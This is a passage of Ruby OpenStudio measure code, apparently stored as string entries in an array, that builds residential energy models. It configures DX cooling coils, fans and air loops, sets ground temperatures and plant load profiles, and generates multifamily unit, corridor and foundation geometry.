Constants.SizingAuto\n clg_coil.setRatedTotalCoolingCapacity(OpenStudio::convert(acOutputCapacity,\"Btu/h\",\"W\").get)\n end\n if air_conditioner.hasIdealAC\n if acOutputCapacity != Constants.SizingAuto\n clg_coil.setRatedSensibleHeatRatio(0.8)\n clg_coil.setRatedAirFlowRate(supply.CFM_TON_Rated[0] * acOutputCapacity * OpenStudio::convert(1.0,\"Btu/h\",\"ton\").get * OpenStudio::convert(1.0,\"cfm\",\"m^3/s\").get)\n end\n clg_coil.setRatedCOP(OpenStudio::OptionalDouble.new(1.0))\n else\n if acOutputCapacity != Constants.SizingAuto\n clg_coil.setRatedSensibleHeatRatio(supply.SHR_Rated[0])\n clg_coil.setRatedAirFlowRate(supply.CFM_TON_Rated[0] * acOutputCapacity * OpenStudio::convert(1.0,\"Btu/h\",\"ton\").get * OpenStudio::convert(1.0,\"cfm\",\"m^3/s\").get)\n end\n clg_coil.setRatedCOP(OpenStudio::OptionalDouble.new(1.0 / supply.CoolingEIR[0]))\n end\n clg_coil.setRatedEvaporatorFanPowerPerVolumeFlowRate(OpenStudio::OptionalDouble.new(supply.fan_power_rated / OpenStudio::convert(1.0,\"cfm\",\"m^3/s\").get))\n\n if air_conditioner.hasIdealAC\n clg_coil.setNominalTimeForCondensateRemovalToBegin(OpenStudio::OptionalDouble.new(0))\n clg_coil.setRatioOfInitialMoistureEvaporationRateAndSteadyStateLatentCapacity(OpenStudio::OptionalDouble.new(0))\n clg_coil.setMaximumCyclingRate(OpenStudio::OptionalDouble.new(0))\n clg_coil.setLatentCapacityTimeConstant(OpenStudio::OptionalDouble.new(0))\n else\n clg_coil.setNominalTimeForCondensateRemovalToBegin(OpenStudio::OptionalDouble.new(1000.0))\n clg_coil.setRatioOfInitialMoistureEvaporationRateAndSteadyStateLatentCapacity(OpenStudio::OptionalDouble.new(1.5))\n clg_coil.setMaximumCyclingRate(OpenStudio::OptionalDouble.new(3.0))\n clg_coil.setLatentCapacityTimeConstant(OpenStudio::OptionalDouble.new(45.0))\n end\n\n if supply.CondenserType == Constants.CondenserTypeAir\n clg_coil.setCondenserType(\"AirCooled\")\n else\n clg_coil.setCondenserType(\"EvaporativelyCooled\")\n clg_coil.setEvaporativeCondenserEffectiveness(OpenStudio::OptionalDouble.new(1))\n clg_coil.setEvaporativeCondenserAirFlowRate(OpenStudio::OptionalDouble.new(OpenStudio::convert(850.0,\"cfm\",\"m^3/s\").get * acOutputCapacity))\n clg_coil.setEvaporativeCondenserPumpRatedPowerConsumption(OpenStudio::OptionalDouble.new(0))\n end\n\n clg_coil.setCrankcaseHeaterCapacity(OpenStudio::OptionalDouble.new(OpenStudio::convert(supply.Crankcase,\"kW\",\"W\").get))\n clg_coil.setMaximumOutdoorDryBulbTemperatureForCrankcaseHeaterOperation(OpenStudio::OptionalDouble.new(OpenStudio::convert(supply.Crankcase_MaxT,\"F\",\"C\").get))\n\n else\n\n clg_coil = OpenStudio::Model::CoilCoolingDXMultiSpeed.new(model)\n clg_coil.setName(\"DX Cooling Coil\")\n clg_coil.setCondenserType(supply.CondenserType)\n clg_coil.setApplyPartLoadFractiontoSpeedsGreaterthan1(false)\n clg_coil.setApplyLatentDegradationtoSpeedsGreaterthan1(false)\n clg_coil.setCrankcaseHeaterCapacity(OpenStudio::convert(supply.Crankcase,\"kW\",\"W\").get)\n clg_coil.setMaximumOutdoorDryBulbTemperatureforCrankcaseHeaterOperation(OpenStudio::convert(supply.Crankcase_MaxT,\"F\",\"C\").get)\n \n clg_coil.setFuelType(\"Electricity\")\n \n clg_coil_stage_data.each do |i|\n clg_coil.addStage(i)\n end \n\n end\n \n # _processSystemFan\n \n supply_fan_availability = OpenStudio::Model::ScheduleConstant.new(model)\n supply_fan_availability.setName(\"SupplyFanAvailability\")\n supply_fan_availability.setValue(1)\n\n fan = OpenStudio::Model::FanOnOff.new(model, supply_fan_availability)\n fan.setName(\"Supply Fan\")\n fan.setEndUseSubcategory(\"HVACFan\")\n fan.setFanEfficiency(supply.eff)\n fan.setPressureRise(supply.static)\n fan.setMotorEfficiency(1)\n fan.setMotorInAirstreamFraction(1)\n\n supply_fan_operation = OpenStudio::Model::ScheduleConstant.new(model)\n supply_fan_operation.setName(\"SupplyFanOperation\")\n supply_fan_operation.setValue(0) \n \n # _processSystemAir\n \n air_loop_unitary = OpenStudio::Model::AirLoopHVACUnitarySystem.new(model)\n air_loop_unitary.setName(\"Forced Air System\")\n air_loop_unitary.setAvailabilitySchedule(model.alwaysOnDiscreteSchedule)\n air_loop_unitary.setCoolingCoil(clg_coil) \n if not htg_coil.nil?\n # Add the existing furnace back in\n air_loop_unitary.setHeatingCoil(htg_coil)\n else\n air_loop_unitary.setSupplyAirFlowRateDuringHeatingOperation(0.0000001) # this is when there is no heating present\n end\n air_loop_unitary.setSupplyFan(fan)\n air_loop_unitary.setFanPlacement(\"BlowThrough\")\n air_loop_unitary.setSupplyAirFanOperatingModeSchedule(supply_fan_operation)\n air_loop_unitary.setMaximumSupplyAirTemperature(OpenStudio::convert(120.0,\"F\",\"C\").get)\n air_loop_unitary.setSupplyAirFlowRateWhenNoCoolingorHeatingisRequired(0) \n \n air_loop = OpenStudio::Model::AirLoopHVAC.new(model)\n air_loop.setName(\"Central Air System\")\n air_supply_inlet_node = air_loop.supplyInletNode\n air_supply_outlet_node = air_loop.supplyOutletNode\n air_demand_inlet_node = air_loop.demandInletNode\n air_demand_outlet_node = air_loop.demandOutletNode \n \n air_loop_unitary.addToNode(air_supply_inlet_node)\n \n runner.registerInfo(\"Added on/off fan '#{fan.name}' to branch '#{air_loop_unitary.name}' of air loop '#{air_loop.name}'\")\n runner.registerInfo(\"Added DX cooling coil '#{clg_coil.name}' to branch '#{air_loop_unitary.name}' of air loop '#{air_loop.name}'\")\n unless htg_coil.nil?\n runner.registerInfo(\"Added heating coil '#{htg_coil.name}' to branch '#{air_loop_unitary.name}' of air loop '#{air_loop.name}'\")\n end\n \n air_loop_unitary.setControllingZoneorThermostatLocation(control_zone)\n \n # _processSystemDemandSideAir\n # Demand Side\n\n # Supply Air\n zone_splitter = air_loop.zoneSplitter\n zone_splitter.setName(\"Zone Splitter\")\n\n diffuser_living = OpenStudio::Model::AirTerminalSingleDuctUncontrolled.new(model, model.alwaysOnDiscreteSchedule)\n diffuser_living.setName(\"Living Zone Direct Air\")\n # diffuser_living.setMaximumAirFlowRate(OpenStudio::convert(supply.Living_AirFlowRate,\"cfm\",\"m^3/s\").get)\n air_loop.addBranchForZone(control_zone, diffuser_living.to_StraightComponent)\n\n air_loop.addBranchForZone(control_zone)\n runner.registerInfo(\"Added air loop '#{air_loop.name}' to thermal zone '#{control_zone.name}' of unit #{unit_num + 1}\")\n\n slave_zones.each do |slave_zone|\n\n diffuser_fbsmt = OpenStudio::Model::AirTerminalSingleDuctUncontrolled.new(model, model.alwaysOnDiscreteSchedule)\n diffuser_fbsmt.setName(\"FBsmt Zone Direct Air\")\n # diffuser_fbsmt.setMaximumAirFlowRate(OpenStudio::convert(supply.Living_AirFlowRate,\"cfm\",\"m^3/s\").get)\n air_loop.addBranchForZone(slave_zone, diffuser_fbsmt.to_StraightComponent)\n\n air_loop.addBranchForZone(slave_zone)\n runner.registerInfo(\"Added air loop '#{air_loop.name}' to thermal zone '#{slave_zone.name}' of unit #{unit_num + 1}\")\n\n end \n \n end\n \n end\n\t\n return true\n \n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # assign the user inputs to variables\n temps_string = runner.getStringArgumentValue(\"Temperatures array\", user_arguments)\n temps_array = temps_string.split(',')\n\n if temps_array.size != 12\n runner.registerError(\"need 12 values\")\n end\n ground_temps = model.getSiteGroundTemperatureBuildingSurface\n\n temps_array.each_with_index do |temp,index|\n ground_temps.setTemperatureByMonth(index+1,temp.to_f)\n end\n\n # report initial condition of model\n runner.registerInitialCondition(\"The building started with...\")\n\n # echo the new space's name back to the user\n runner.registerInfo(\"..was added.\")\n\n # report final condition of model\n runner.registerFinalCondition(\"The building finished with...\")\n\n return true\n\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # get user-selected load profile plant\n load_profile = runner.getStringArgumentValue(\"load_profile\", user_arguments)\n load_sched = runner.getStringArgumentValue(\"load_sched\", user_arguments)\n flow_sched = runner.getStringArgumentValue(\"flow_sched\", user_arguments)\n max_flow = runner.getDoubleArgumentValue(\"max_flow\", user_arguments)\n\n # Grab object\n profile = model.getLoadProfilePlantByName(load_profile).get\n load = model.getScheduleIntervalByName(load_sched).get\n flow = model.getScheduleIntervalByName(flow_sched).get\n\n # Assign values\n profile.setLoadSchedule(load)\n profile.setFlowRateFractionSchedule(flow)\n profile.setPeakFlowRate(max_flow)\n\n # report final condition of model\n runner.registerFinalCondition(\"Finished.\")\n\n return true\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n \n unit_ffa = OpenStudio.convert(runner.getDoubleArgumentValue(\"unit_ffa\",user_arguments),\"ft^2\",\"m^2\").get\n living_height = OpenStudio.convert(runner.getDoubleArgumentValue(\"living_height\",user_arguments),\"ft\",\"m\").get\n building_num_floors = runner.getIntegerArgumentValue(\"building_num_floors\",user_arguments)\n num_units_per_floor = runner.getIntegerArgumentValue(\"num_units_per_floor\",user_arguments)\n unit_aspect_ratio = runner.getDoubleArgumentValue(\"unit_aspect_ratio\",user_arguments)\n corr_pos = runner.getStringArgumentValue(\"corr_pos\",user_arguments)\n corr_width = OpenStudio::convert(runner.getDoubleArgumentValue(\"corr_width\",user_arguments),\"ft\",\"m\").get \n inset_width = OpenStudio::convert(runner.getDoubleArgumentValue(\"inset_width\",user_arguments),\"ft\",\"m\").get\n inset_depth = OpenStudio::convert(runner.getDoubleArgumentValue(\"inset_depth\",user_arguments),\"ft\",\"m\").get\n inset_pos = runner.getStringArgumentValue(\"inset_pos\",user_arguments)\n balc_depth = OpenStudio::convert(runner.getDoubleArgumentValue(\"balc_depth\",user_arguments),\"ft\",\"m\").get\n foundation_type = runner.getStringArgumentValue(\"foundation_type\",user_arguments)\n foundation_height = runner.getDoubleArgumentValue(\"foundation_height\",user_arguments)\n use_zone_mult = runner.getBoolArgumentValue(\"use_zone_mult\",user_arguments)\n use_floor_mult = runner.getBoolArgumentValue(\"use_floor_mult\",user_arguments)\n \n if foundation_type == Constants.SlabFoundationType\n foundation_height = 0.0\n elsif foundation_type == Constants.UnfinishedBasementFoundationType\n foundation_height = 8.0\n end\n num_units_per_floor_actual = num_units_per_floor\n \n # error checking\n if model.getSpaces.size > 0\n runner.registerError(\"Starting model is not empty.\")\n return false\n end\n if foundation_type == Constants.CrawlFoundationType and ( foundation_height < 1.5 or foundation_height > 5.0 )\n runner.registerError(\"The crawlspace height can be set between 1.5 and 5 ft.\")\n return false\n end\n if num_units_per_floor == 1 and (corr_pos == \"Double-Loaded Interior\" or corr_pos == \"Double Exterior\")\n runner.registerError(\"Specified building as having rear units, but didn't specify enough units.\")\n return false\n end\n if unit_aspect_ratio < 0\n runner.registerError(\"Invalid aspect ratio entered.\")\n return false\n end\n if corr_width == 0 and corr_pos != \"None\"\n corr_pos = \"None\"\n end\n if corr_pos == \"None\"\n corr_width = 0\n end\n if corr_width < 0\n runner.registerError(\"Invalid corridor width entered.\")\n return false\n end\n if corr_pos == \"Double-Loaded Interior\" and num_units_per_floor % 2 != 0\n runner.registerWarning(\"Specified a double-loaded corridor and an odd number of units per floor. Subtracting one unit per floor.\")\n num_units_per_floor -= 1\n end\n if balc_depth > 0 and inset_width * inset_depth == 0\n runner.registerWarning(\"Specified a balcony, but there is no inset.\")\n balc_depth = 0\n end\n \n # Convert to SI\n foundation_height = OpenStudio.convert(foundation_height,\"ft\",\"m\").get \n \n num_units = num_units_per_floor * building_num_floors\n \n # starting spaces\n runner.registerInitialCondition(\"The building started with #{model.getSpaces.size} spaces.\")\n \n # calculate the dimensions of the unit\n footprint = unit_ffa + inset_width * inset_depth\n x = Math.sqrt(footprint / unit_aspect_ratio)\n y = footprint / x\n \n foundation_corr_polygon = nil\n foundation_front_polygon = nil\n foundation_back_polygon = nil\n \n # create the front prototype unit\n nw_point = OpenStudio::Point3d.new(0, 0, 0)\n ne_point = OpenStudio::Point3d.new(x, 0, 0)\n sw_point = OpenStudio::Point3d.new(0, -y, 0)\n se_point = OpenStudio::Point3d.new(x, -y, 0)\n if inset_width * inset_depth > 0\n if inset_pos == \"Right\"\n # unit footprint\n inset_point = OpenStudio::Point3d.new(x - inset_width, inset_depth - y, 0)\n front_point = OpenStudio::Point3d.new(x - inset_width, -y, 0)\n side_point = OpenStudio::Point3d.new(x, inset_depth - y, 0)\n living_polygon = Geometry.make_polygon(sw_point, nw_point, ne_point, side_point, inset_point, front_point)\n # unit balcony\n if balc_depth > 0\n inset_point = OpenStudio::Point3d.new(x - inset_width, inset_depth - y, living_height)\n side_point = OpenStudio::Point3d.new(x, inset_depth - y, living_height)\n se_point = OpenStudio::Point3d.new(x, inset_depth - y - balc_depth, living_height)\n front_point = OpenStudio::Point3d.new(x - inset_width, inset_depth - y - balc_depth, living_height)\n shading_surface = OpenStudio::Model::ShadingSurface.new(OpenStudio::Point3dVector.new([inset_point, side_point, se_point, front_point]), model)\n end\n else\n # unit footprint\n inset_point = OpenStudio::Point3d.new(inset_width, inset_depth - y, 0)\n front_point = OpenStudio::Point3d.new(inset_width, -y, 0)\n side_point = OpenStudio::Point3d.new(0, inset_depth - y, 0)\n living_polygon = Geometry.make_polygon(side_point, nw_point, ne_point, se_point, front_point, inset_point)\n # unit balcony\n if balc_depth > 0\n inset_point = OpenStudio::Point3d.new(inset_width, inset_depth - y, living_height)\n side_point = OpenStudio::Point3d.new(0, inset_depth - y, living_height)\n sw_point = OpenStudio::Point3d.new(0, inset_depth - y - balc_depth, living_height)\n front_point = OpenStudio::Point3d.new(inset_width, inset_depth - y - balc_depth, living_height)\n shading_surface = OpenStudio::Model::ShadingSurface.new(OpenStudio::Point3dVector.new([inset_point, front_point, sw_point, side_point]), model)\n end\n end\n else\n living_polygon = Geometry.make_polygon(sw_point, nw_point, ne_point, se_point)\n end\n \n # foundation\n if foundation_height > 0 and foundation_front_polygon.nil?\n foundation_front_polygon = living_polygon\n end\n \n # create living zone\n living_zone = OpenStudio::Model::ThermalZone.new(model)\n living_zone.setName(Constants.LivingZone(Constants.ObjectNameBuildingUnit(1)))\n \n # first floor front\n living_spaces_front = []\n living_space = OpenStudio::Model::Space::fromFloorPrint(living_polygon, living_height, model)\n living_space = living_space.get\n living_space.setName(Constants.LivingSpace(1, Constants.ObjectNameBuildingUnit(1)))\n living_space.setThermalZone(living_zone) \n \n # add the balcony\n if balc_depth > 0\n shading_surface_group = OpenStudio::Model::ShadingSurfaceGroup.new(model) \n shading_surface_group.setSpace(living_space)\n shading_surface.setShadingSurfaceGroup(shading_surface_group)\n end \n \n living_spaces_front << living_space\n \n # create the unit\n unit_spaces_hash = {}\n unit_spaces_hash[1] = living_spaces_front\n \n has_rear_units = false\n \n # create back units\n if corr_pos == \"Double-Loaded Interior\" or corr_pos == \"Double Exterior\" # units in front and back\n \n has_rear_units = true\n \n if corr_pos == \"Double-Loaded Interior\"\n interior_corr_width = corr_width\n else\n interior_corr_width = 0\n end\n \n # create the back prototype unit\n nw_point = OpenStudio::Point3d.new(0, y + interior_corr_width, 0)\n ne_point = OpenStudio::Point3d.new(x, y + interior_corr_width, 0)\n sw_point = OpenStudio::Point3d.new(0, interior_corr_width, 0)\n se_point = OpenStudio::Point3d.new(x, interior_corr_width, 0)\n if inset_width * inset_depth > 0\n if inset_pos == \"Left\"\n # unit footprint\n inset_point = OpenStudio::Point3d.new(x - inset_width, y - inset_depth + interior_corr_width, 0)\n front_point = OpenStudio::Point3d.new(x - inset_width, y + interior_corr_width, 0)\n side_point = OpenStudio::Point3d.new(x, y - inset_depth + interior_corr_width, 0)\n living_polygon = Geometry.make_polygon(sw_point, nw_point, front_point, inset_point, side_point, se_point)\n # unit balcony\n if balc_depth > 0\n inset_point = OpenStudio::Point3d.new(x - inset_width, y - inset_depth + interior_corr_width, living_height)\n side_point = OpenStudio::Point3d.new(x, y - inset_depth + interior_corr_width, living_height)\n ne_point = OpenStudio::Point3d.new(x, y - inset_depth + balc_depth + interior_corr_width, living_height)\n front_point = OpenStudio::Point3d.new(x - inset_width, y - inset_depth + balc_depth + interior_corr_width, living_height)\n shading_surface = OpenStudio::Model::ShadingSurface.new(OpenStudio::Point3dVector.new([inset_point, front_point, ne_point, side_point]), model)\n end\n else\n # unit footprint\n inset_point = OpenStudio::Point3d.new(inset_width, y - inset_depth + interior_corr_width, 0)\n front_point = OpenStudio::Point3d.new(inset_width, y + interior_corr_width, 0)\n side_point = OpenStudio::Point3d.new(0, y - inset_depth + interior_corr_width, 0)\n living_polygon = Geometry.make_polygon(side_point, inset_point, front_point, ne_point, se_point, sw_point)\n # unit balcony\n if balc_depth > 0\n inset_point = OpenStudio::Point3d.new(inset_width, y - inset_depth + interior_corr_width, living_height)\n side_point = OpenStudio::Point3d.new(0, y - inset_depth + interior_corr_width, living_height)\n nw_point = OpenStudio::Point3d.new(0, y - inset_depth + balc_depth + interior_corr_width, living_height)\n front_point = OpenStudio::Point3d.new(inset_width, y - inset_depth + balc_depth + interior_corr_width, living_height)\n shading_surface = OpenStudio::Model::ShadingSurface.new(OpenStudio::Point3dVector.new([inset_point, side_point, nw_point, front_point]), model)\n end\n end \n else\n living_polygon = Geometry.make_polygon(sw_point, nw_point, ne_point, se_point)\n end \n \n # foundation\n if foundation_height > 0 and foundation_back_polygon.nil?\n foundation_back_polygon = living_polygon\n end\n \n # create living zone\n living_zone = OpenStudio::Model::ThermalZone.new(model)\n living_zone.setName(Constants.LivingZone(Constants.ObjectNameBuildingUnit(2)))\n \n # first floor back\n living_spaces_back = []\n living_space = OpenStudio::Model::Space::fromFloorPrint(living_polygon, living_height, model)\n living_space = living_space.get\n living_space.setName(Constants.LivingSpace(1, Constants.ObjectNameBuildingUnit(2)))\n living_space.setThermalZone(living_zone)\n \n # add the balcony\n if balc_depth > 0\n shading_surface_group = OpenStudio::Model::ShadingSurfaceGroup.new(model) \n shading_surface_group.setSpace(living_space)\n shading_surface.setShadingSurfaceGroup(shading_surface_group)\n end \n \n living_spaces_back << living_space\n \n # create the back unit\n unit_spaces_hash[2] = living_spaces_back\n\n floor = 0\n pos = 0\n front_unit = true\n (3..num_units).to_a.each do |unit_num|\n \n if not num_units_per_floor > 2 and unit_num == 3\n pos = -1\n floor = living_height\n end\n\n # front or back unit\n if front_unit\n living_spaces = living_spaces_front\n pos += 1\n front_unit = false\n else\n living_spaces = living_spaces_back\n front_unit = true\n end\n \n living_zone = OpenStudio::Model::ThermalZone.new(model)\n living_zone.setName(Constants.LivingZone(Constants.ObjectNameBuildingUnit(unit_num)) )\n \n new_living_spaces = []\n living_spaces.each_with_index do |living_space, story|\n \n new_living_space = living_space.clone.to_Space.get\n new_living_space.setName(Constants.LivingSpace(story + 1, Constants.ObjectNameBuildingUnit(unit_num)))\n \n m = Geometry.initialize_transformation_matrix(OpenStudio::Matrix.new(4,4,0))\n m[0,3] = -pos * x \n m[2,3] = -floor\n new_living_space.changeTransformation(OpenStudio::Transformation.new(m))\n new_living_space.setXOrigin(0)\n new_living_space.setYOrigin(0)\n new_living_space.setZOrigin(0)\n new_living_space.setThermalZone(living_zone)\n \n new_living_spaces << new_living_space\n \n end \n \n unit_spaces_hash[unit_num] = new_living_spaces\n \n if unit_num % num_units_per_floor == 0\n \n # which floor\n floor += living_height\n pos = -1 \n front_unit = true\n \n end\n \n end\n\n # corridors\n if corr_width > 0\n \n if corr_pos == \"Double-Loaded Interior\"\n \n # create the prototype corridor\n nw_point = OpenStudio::Point3d.new(0, interior_corr_width, 0)\n ne_point = OpenStudio::Point3d.new(x * (num_units_per_floor / 2), interior_corr_width, 0)\n sw_point = OpenStudio::Point3d.new(0, 0, 0)\n se_point = OpenStudio::Point3d.new(x * (num_units_per_floor / 2), 0, 0) \n corr_polygon = Geometry.make_polygon(sw_point, nw_point, ne_point, se_point)\n \n if foundation_height > 0 and foundation_corr_polygon.nil?\n foundation_corr_polygon = corr_polygon\n end\n\n # create corridor zone\n corridor_zone = OpenStudio::Model::ThermalZone.new(model)\n corridor_zone.setName(Constants.CorridorZone)\n \n # first floor corridor\n corridor_space = OpenStudio::Model::Space::fromFloorPrint(corr_polygon, living_height, model)\n corridor_space = corridor_space.get\n corridor_space_name = Constants.CorridorSpace(1)\n corridor_space.setName(corridor_space_name)\n corridor_space.setThermalZone(corridor_zone)\n \n (1...building_num_floors).to_a.each do |floor|\n \n new_corridor_space = corridor_space.clone.to_Space.get\n m = Geometry.initialize_transformation_matrix(OpenStudio::Matrix.new(4,4,0))\n m[2,3] = -floor * living_height\n new_corridor_space.changeTransformation(OpenStudio::Transformation.new(m))\n new_corridor_space.setZOrigin(0)\n new_corridor_space.setThermalZone(corridor_zone)\n corridor_space_name = Constants.CorridorSpace(floor+1)\n new_corridor_space.setName(corridor_space_name)\n \n end\n \n else\n \n # front access\n (1..building_num_floors).to_a.each do |floor|\n\n nw_point = OpenStudio::Point3d.new(0, -y, floor * living_height)\n sw_point = OpenStudio::Point3d.new(0, -y - corr_width, floor * living_height)\n ne_point = OpenStudio::Point3d.new(x * (num_units_per_floor / 2), -y, floor * living_height)\n se_point = OpenStudio::Point3d.new(x * (num_units_per_floor / 2), -y - corr_width, floor * living_height)\n if num_units_per_floor_actual % 2 != 0\n ne_point = OpenStudio::Point3d.new(x * ((num_units_per_floor + 1) / 2), -y, floor * living_height)\n se_point = OpenStudio::Point3d.new(x * ((num_units_per_floor + 1) / 2), -y - corr_width, floor * living_height)\n end\n \n shading_surface = OpenStudio::Model::ShadingSurface.new(OpenStudio::Point3dVector.new([nw_point, ne_point, se_point, sw_point]), model)\n \n shading_surface_group = OpenStudio::Model::ShadingSurfaceGroup.new(model) \n shading_surface.setShadingSurfaceGroup(shading_surface_group)\n \n end\n \n # rear access\n (1..building_num_floors).to_a.each do |floor|\n \n nw_point = OpenStudio::Point3d.new(0, y + corr_width, floor * living_height)\n sw_point = OpenStudio::Point3d.new(0, y, floor * living_height)\n ne_point = OpenStudio::Point3d.new(x * (num_units_per_floor / 2), y + corr_width, floor * living_height)\n se_point = OpenStudio::Point3d.new(x * (num_units_per_floor / 2), y, floor * living_height)\n \n shading_surface = OpenStudio::Model::ShadingSurface.new(OpenStudio::Point3dVector.new([nw_point, ne_point, se_point, sw_point]), model)\n \n shading_surface_group = OpenStudio::Model::ShadingSurfaceGroup.new(model) \n shading_surface.setShadingSurfaceGroup(shading_surface_group)\n \n end\n \n end \n \n end\n \n else # units only in front\n\n floor = 0\n pos = 0\n (2..num_units).to_a.each do |unit_num|\n\n if not num_units_per_floor > 1 and unit_num == 2\n pos = -1\n floor = living_height\n end \n \n living_spaces = living_spaces_front\n pos += 1\n \n living_zone = OpenStudio::Model::ThermalZone.new(model)\n living_zone.setName(Constants.LivingZone(Constants.ObjectNameBuildingUnit(unit_num)))\n \n new_living_spaces = []\n living_spaces.each_with_index do |living_space, story|\n \n new_living_space = living_space.clone.to_Space.get\n new_living_space.setName(Constants.LivingSpace(story + 1, Constants.ObjectNameBuildingUnit(unit_num)))\n \n m = Geometry.initialize_transformation_matrix(OpenStudio::Matrix.new(4,4,0))\n m[0,3] = -pos * x \n m[2,3] = -floor\n new_living_space.changeTransformation(OpenStudio::Transformation.new(m))\n new_living_space.setXOrigin(0)\n new_living_space.setYOrigin(0)\n new_living_space.setZOrigin(0)\n new_living_space.setThermalZone(living_zone)\n \n new_living_spaces << new_living_space\n \n end \n \n unit_spaces_hash[unit_num] = new_living_spaces\n \n if unit_num % num_units_per_floor == 0\n \n # which floor\n floor += living_height\n pos = -1\n\n end\n \n end\n \n if corr_width > 0\n \n (1..building_num_floors).to_a.each do |floor|\n \n nw_point = OpenStudio::Point3d.new(0, -y, floor * living_height)\n ne_point = OpenStudio::Point3d.new(x * num_units_per_floor, -y, floor * living_height)\n sw_point = OpenStudio::Point3d.new(0, -y - corr_width, floor * living_height)\n se_point = OpenStudio::Point3d.new(x * num_units_per_floor, -y - corr_width, floor * living_height)\n \n shading_surface = OpenStudio::Model::ShadingSurface.new(OpenStudio::Point3dVector.new([nw_point, ne_point, se_point, sw_point]), model)\n \n shading_surface_group = OpenStudio::Model::ShadingSurfaceGroup.new(model) \n shading_surface.setShadingSurfaceGroup(shading_surface_group)\n \n end\n \n end \n \n end\n \n # foundation\n if foundation_height > 0\n \n foundation_spaces = []\n \n # foundation corridor\n if corr_width > 0 and corr_pos == \"Double-Loaded Interior\"\n corridor_space = OpenStudio::Model::Space::fromFloorPrint(foundation_corr_polygon, foundation_height, model)\n corridor_space = corridor_space.get\n m = Geometry.initialize_transformation_matrix(OpenStudio::Matrix.new(4,4,0))\n m[2,3] = foundation_height\n corridor_space.changeTransformation(OpenStudio::Transformation.new(m))\n corridor_space.setXOrigin(0)\n corridor_space.setYOrigin(0)\n corridor_space.setZOrigin(0) \n \n foundation_spaces << corridor_space\n end\n \n # foundation front\n foundation_space_front = []\n foundation_space = OpenStudio::Model::Space::fromFloorPrint(foundation_front_polygon, foundation_height, model)\n foundation_space = foundation_space.get\n m = Geometry.initialize_transformation_matrix(OpenStudio::Matrix.new(4,4,0))\n m[2,3] = foundation_height\n foundation_space.changeTransformation(OpenStudio::Transformation.new(m))\n foundation_space.setXOrigin(0)\n foundation_space.setYOrigin(0)\n foundation_space.setZOrigin(0)\n \n foundation_space_front << foundation_space\n foundation_spaces << foundation_space\n\n if corr_pos == \"Double-Loaded Interior\" or corr_pos == \"Double Exterior\" # units in front and back\n \n # foundation back\n foundation_space_back = []\n foundation_space = OpenStudio::Model::Space::fromFloorPrint(foundation_back_polygon, foundation_height, model)\n foundation_space = foundation_space.get\n m = Geometry.initialize_transformation_matrix(OpenStudio::Matrix.new(4,4,0))\n m[2,3] = foundation_height\n foundation_space.changeTransformation(OpenStudio::Transformation.new(m))\n foundation_space.setXOrigin(0)\n foundation_space.setYOrigin(0)\n foundation_space.setZOrigin(0)\n \n foundation_space_back << foundation_space\n foundation_spaces << foundation_space\n\n pos = 0\n (3..num_units_per_floor).to_a.each do |unit_num|\n\n # front or back unit\n if unit_num % 2 != 0 # odd unit number\n living_spaces = foundation_space_front\n pos += 1\n else # even unit number\n living_spaces = foundation_space_back\n end\n \n living_spaces.each do |living_space|\n \n new_living_space = living_space.clone.to_Space.get\n \n m = Geometry.initialize_transformation_matrix(OpenStudio::Matrix.new(4,4,0))\n m[0,3] = -pos * x \n new_living_space.changeTransformation(OpenStudio::Transformation.new(m))\n new_living_space.setXOrigin(0)\n new_living_space.setYOrigin(0)\n new_living_space.setZOrigin(0)\n \n foundation_spaces << new_living_space\n \n end\n \n end\n \n else # units only in front\n \n pos = 0\n (2..num_units_per_floor).to_a.each do |unit_num|\n\n living_spaces = foundation_space_front\n pos += 1\n \n living_spaces.each do |living_space|\n \n new_living_space = living_space.clone.to_Space.get\n \n m = Geometry.initialize_transformation_matrix(OpenStudio::Matrix.new(4,4,0))\n m[0,3] = -pos * x \n new_living_space.changeTransformation(OpenStudio::Transformation.new(m))\n new_living_space.setXOrigin(0)\n new_living_space.setYOrigin(0)\n new_living_space.setZOrigin(0)\n \n foundation_spaces << new_living_space\n \n end\n\n end\n \n end\n \n # put all of the spaces in the model into a vector\n spaces = OpenStudio::Model::SpaceVector.new\n model.getSpaces.each do |space|\n spaces << space\n end \n \n # intersect and match surfaces for each space in the vector\n OpenStudio::Model.intersectSurfaces(spaces)\n OpenStudio::Model.matchSurfaces(spaces) \n \n if [Constants.CrawlFoundationType, Constants.UnfinishedBasementFoundationType].include? foundation_type\n foundation_space = Geometry.make_one_space_from_multiple_spaces(model, foundation_spaces)\n if foundation_type == Constants.CrawlFoundationType\n foundation_space.setName(Constants.CrawlSpace)\n foundation_zone = OpenStudio::Model::ThermalZone.new(model)\n foundation_zone.setName(Constants.CrawlZone)\n foundation_space.setThermalZone(foundation_zone)\n elsif foundation_type == Constants.UnfinishedBasementFoundationType\n foundation_space.setName(Constants.UnfinishedBasementSpace)\n foundation_zone = OpenStudio::Model::ThermalZone.new(model)\n foundation_zone.setName(Constants.UnfinishedBasementZone)\n foundation_space.setThermalZone(foundation_zone)\n end\n end\n \n # set foundation walls to ground\n spaces = model.getSpaces\n spaces.each do |space|\n if Geometry.is_crawl(space) or Geometry.is_unfinished_basement(space)\n surfaces = space.surfaces\n surfaces.each do |surface|\n next if surface.surfaceType.downcase != \"wall\"\n surface.setOutsideBoundaryCondition(\"Ground\")\n end\n end\n end\n \n end\n \n unit_hash = {}\n unit_spaces_hash.each do |unit_num, spaces|\n # Store building unit information\n unit = OpenStudio::Model::BuildingUnit.new(model)\n unit.setBuildingUnitType(Constants.BuildingUnitTypeResidential)\n unit.setName(Constants.ObjectNameBuildingUnit(unit_num))\n spaces.each do |space|\n space.setBuildingUnit(unit)\n end\n unit_hash[unit_num] = unit\n end\n \n # put all of the spaces in the model into a vector\n spaces = OpenStudio::Model::SpaceVector.new\n model.getSpaces.each do |space|\n spaces << space\n end \n \n # intersect and match surfaces for each space in the vector\n OpenStudio::Model.intersectSurfaces(spaces)\n OpenStudio::Model.matchSurfaces(spaces)\n \n if use_zone_mult and ((num_units_per_floor > 3 and not has_rear_units) or (num_units_per_floor > 7 and has_rear_units))\n \n (1..num_units_per_floor).to_a.each do 